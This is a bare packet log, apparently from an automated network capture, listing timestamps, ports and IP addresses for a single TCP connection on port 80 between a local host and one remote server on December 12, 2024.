Dec 12, 2024 14:26:17.899403095 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:17.899559975 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:17.899580956 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:17.899636030 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:17.902724028 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:17.903038025 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:17.903115988 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:17.906147003 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:17.906171083 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:17.906244040 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:17.906244040 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:17.909631014 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:17.909710884 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:17.910599947 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:17.910653114 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:17.912951946 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:17.913008928 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:17.913481951 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:17.916090965 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:17.916333914 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:17.916388035 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:17.917264938 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:17.917375088 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:17.919717073 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:17.919758081 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:17.919781923 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:17.919821978 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:17.923185110 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:17.923234940 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:17.923254013 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:17.923295021 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:17.926556110 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:17.926621914 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:17.926767111 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:17.926805019 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:17.930049896 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:17.930259943 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:17.930352926 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:17.930399895 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:17.933574915 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:17.933733940 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:17.933787107 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:17.936800957 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:17.936849117 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:17.937210083 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:17.937342882 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:17.940083981 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:17.940115929 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:17.940143108 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:17.940165043 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:17.943589926 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:17.943602085 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:17.943660021 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:17.946937084 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:17.947127104 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:17.947201967 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:17.950380087 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:17.950438023 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:17.950509071 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:17.953794956 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:17.953937054 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:17.954006910 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:17.957134008 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:17.957159042 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:17.957221985 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.038893938 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.039201021 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.039328098 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.040191889 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.040359020 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.040420055 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.042885065 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.042938948 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.043016911 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.043061018 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.045556068 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.045933008 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.045989037 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.048166990 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.048218966 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.048288107 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.048329115 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.050685883 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.050889969 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.050944090 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.053235054 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.053322077 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.053375006 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.056085110 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.056214094 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.056281090 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.058317900 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.058331013 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.058366060 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.060599089 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.060688972 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.060760975 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.063121080 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.063194990 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.063224077 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.063278913 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.065732956 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.065788031 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.065857887 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.067751884 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.067805052 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.067811012 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.067853928 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.070148945 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.070183992 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.070252895 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.073566914 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.073672056 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.073740959 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.075740099 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.075776100 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.075808048 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.075831890 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.077507019 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.077559948 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.077568054 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.077608109 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.079444885 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.079624891 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.079680920 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.081264019 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.081324100 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.081456900 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.081506968 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.083422899 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.083641052 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.083715916 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.085570097 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.085644960 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.085891008 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.085943937 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.087770939 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.087805033 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.087862968 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.090001106 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.090054989 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.090071917 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.090116024 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.092178106 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.092231989 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.092243910 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.094201088 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.094258070 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.094388008 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.094438076 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.096354008 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.096472025 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.096530914 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.098510981 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.098578930 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.098658085 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.098731995 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.100735903 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.100830078 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.100898027 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.102871895 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.102941036 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.102957010 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.103012085 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.105238914 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.105369091 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.105436087 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.107146025 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.107225895 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.107670069 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.107733965 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.109313965 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.109513998 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.109570980 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.111541986 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.111613035 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.111665010 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.111718893 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.113636971 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.113776922 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.113837957 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.115895987 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.115967989 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.116034985 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.116089106 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.118196964 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.118721008 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.118789911 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.120170116 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.120268106 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.120352983 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.120403051 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.122298956 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.122402906 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.122468948 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.124731064 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.124803066 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.124821901 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.124872923 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.126786947 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.126821995 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.126928091 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.128833055 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.128914118 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.128912926 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.129040003 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.130933046 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.131074905 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.131134987 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.133162022 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.133217096 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.133223057 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.133261919 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.135332108 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.135412931 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.135464907 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.137411118 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.137536049 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.137593031 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.139544010 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.139559031 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.139658928 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.139658928 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.141719103 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.141732931 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.141791105 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.143930912 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.143944025 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.144033909 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.146011114 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.146102905 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.146159887 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.148235083 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.148365021 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.148421049 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.150337934 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.150352001 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.150393963 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.150429964 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.152455091 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.152657986 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.152704954 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.154618025 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.157712936 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.230947018 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.230967999 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.231081009 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.231795073 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.231848001 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.232254982 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.232299089 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.234663963 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.234677076 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.234730005 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.234800100 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.234812975 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.234847069 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.234875917 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.236745119 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.236893892 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.236954927 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.238514900 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.238528013 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.238569975 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.238600016 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.240140915 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.240300894 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.240379095 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.242069006 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.243030071 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.243130922 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.244189978 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.244203091 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.244241953 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.244277954 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.245734930 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.245748043 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.245806932 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.247160912 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.247174025 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.247226000 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.247257948 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.248318911 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.248332024 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.248382092 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.249806881 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.250350952 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.250406027 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.251213074 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.251226902 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.251256943 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.251291990 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.252413034 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.252490997 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.252540112 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.253443956 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.253487110 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.253509998 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.253551960 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.255764961 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.256838083 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.256922960 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.257741928 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.257754087 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.257807970 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.257812977 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.257852077 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.258205891 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.258249998 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.259614944 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.259628057 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.259654999 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.259675980 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.260927916 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.261317015 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.261377096 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.262057066 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.262249947 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.262300968 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.263427019 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.263489962 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.263520956 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.263573885 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.265037060 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.265088081 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.265333891 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.265377998 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.266194105 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.266731024 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.266782999 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.267611980 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.267663956 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.267755985 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.267792940 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.268950939 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.269005060 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.269407988 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.270301104 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.270344973 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.270363092 CET	49775	80	192.168.2.4	31.41.244.11
